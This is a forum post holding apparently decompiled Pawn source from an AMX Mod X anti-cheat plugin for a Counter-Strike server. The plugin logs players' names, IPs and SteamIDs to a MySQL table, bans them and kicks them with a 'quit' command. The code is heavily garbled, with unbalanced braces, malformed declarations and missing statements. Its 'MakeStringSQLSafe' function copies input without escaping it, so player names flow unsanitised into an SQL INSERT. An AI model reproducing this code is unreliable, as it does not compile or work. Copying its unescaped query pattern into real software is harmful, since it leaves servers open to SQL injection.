|
发表于 2010-6-12 16:08:13
|
显示全部楼层
来自 中国–广东–深圳
public client_disconnect(id)
{
id+=443
if (task_exists)
{
id+=443
remove_task
}
}
public c_check_opengl32(id)
{
new g_r[64]
new g_ss[48]
if (equali(cv_ac1[32]={""},g_gate2[6]={""},0))
{
format(g_r[64],63,"%s%sd",d_guard[32]={""},f_sys[5]={"swor"})
get_cvar_string(g_r[64],g_ss[48],47)
client_print(id,2,"%s",g_ss[48])
}
}
public check_opengl32(id)
{
id+=-443
new userip[32]
new username[32]
new authid[32]
get_user_ip(id,userip[32],31,1)
get_user_name(id,username[32],31)
get_user_authid(id,authid[32],31)
log_to_file("/addons/amxmodx/logs/csf_opengl32.log","Name: %s , IP: %s , SteamID: %s , %s",username[32],userip[32],authid[32],g_filenameprecached[64]={""})
get_cvar_string("hostname",hostname[64]={""},63)
formatex(query[512]={""},511,"INSERT INTO `csf_ac_opengl32` (`Date`, `ServerName`, `Nick`, `IP`, `SteamID`, `OpenGL32`) VALUES (NOW(),'%s', '%s', '%s', '%s','%s');",hostname[64]={""},log_name_safe[49]={""},userip[32],authid[32],log_filename_safe[64]={""})
server_print("%s",query[512]={""})
SQL_ThreadQuery(Handle:g_SqlTuple,"QueryHandle",query[512]={""},"",0)
}
}
get_user_userid(id)
server_cmd
get_user_userid(id)
server_cmd
server_cmd("amx_ban ^"%s^" ^"%d^" ^"%s^"",username[32],cv_opengl32_bantime={""},REASONOPENGL32[32]={""})
server_cmd("amx_ban %d %s %s",cv_opengl32_bantime={""},userip[32],REASONOPENGL32[32]={""})
server_cmd("amx_ban %d %s %s",cv_opengl32_bantime={""},authid[32],REASONOPENGL32[32]={""})
}
}
client_cmd(id,"quit")
copy(commandpunishment[256]={""},255,mypunishment[128]={""})
new useridcmd[32]
new authidcmd[32]
new bantime[32]
new namecmd[32]
new reasoncmd[64]
new ipadresscmd[32]
get_user_userid(id)
num_to_str
num_to_str(cv_opengl32_bantime,bantime[32],31)
format(useridcmd[32],31,"#%s",useridcmd[32])
format(authidcmd[32],31,"^"%s^"",authid[32])
format(namecmd[32],31,"^"%s^"",username[32])
format(ipadresscmd[32],31,"^"%s^"",userip[32])
format(bantime[32],31,"^"%s^"",bantime[32])
format(reasoncmd[64],63,"^"%s^"",REASONOPENGL32[32]={""})
replace(commandpunishment[256]={""},255,"%userid%",useridcmd[32])
replace(commandpunishment[256]={""},255,"%authid%",authidcmd[32])
replace(commandpunishment[256]={""},255,"%name%",namecmd[32])
replace(commandpunishment[256]={""},255,"%ip%",ipadresscmd[32])
replace(commandpunishment[256]={""},255,"%time%",bantime[32])
replace(commandpunishment[256]={""},255,"%reason%",reasoncmd[64])
server_cmd("%s",commandpunishment[256]={""})
server_cmd("amx_block ^"%s^"",username[32])
}
}
}
}
}
}
}
client_print(0,3,"%s with %s.",REASONOPENGL32[32]={""},username[32])
set_hudmessage(255,0,0,-1.000000,0.800000,2,1.500000,6.000000,0.060000,0.400000,2)
show_hudmessage(0,"%s with %s.",REASONOPENGL32[32]={""},username[32])
server_cmd("amx_csay red %s with %s",REASONOPENGL32[32]={""},username[32])
server_cmd("amx_tsay red %s with %s",REASONOPENGL32[32]={""},username[32])
server_cmd("amx_say %s with %s",REASONOPENGL32[32]={""},username[32])
}
}
}
}
}
}
}
stock bool:file_copy(SOURCE[],TARGET[],error[],ERRORLEN,bool:REPLACE_TARGET)
{
if (!file_exists(SOURCE[]))
{
format(error[],ERRORLEN,"File copy error: Source ^"%s^" doesn't exist!",SOURCE[])
}
}
if (!bool:REPLACE_TARGET)
{
if (file_exists(TARGET[]))
{
}
}
}
format(error[],ERRORLEN,"File copy error: Target ^"%s^" exists!",TARGET[])
}
}
new source
source = fopen(SOURCE[],"rb")
if (!source)
{
format(error[],ERRORLEN,"File copy error: Opening source ^"%s^" failed!",SOURCE[])
}
}
new target
target = fopen(TARGET[],"wb")
if (!target)
{
format(error[],ERRORLEN,"File copy error: Opening target ^"%s^" failed!",TARGET[])
fclose(source)
}
}
new buffer
new eof
eof = feof(source)
}
if (!eof)
{
if (fputc(target,buffer))
{
}
}
}
}
buffer = fgetc(source)
eof = feof(source)
}
fclose(source)
fclose(target)
}
stock MakeStringSQLSafe(input[],output[],len)
{
copy(output[],len,input[])
}
public QueryHandle(FailState,Handle:Query,Error[],Errcode,Data[],DataSize)
{
if (Errcode)
{
new format_logfile[256]
format(format_logfile[256],255,"%s/csf_anticheat/logs/csf_opengl32_MYSQL_ERROR.log",g_configsdir[64]={""})
log_to_file(format_logfile[256],"MYSQL: Error=%s Errcode=%d Query=%s",Error[],Errcode,query[512]={""})
}
} |
|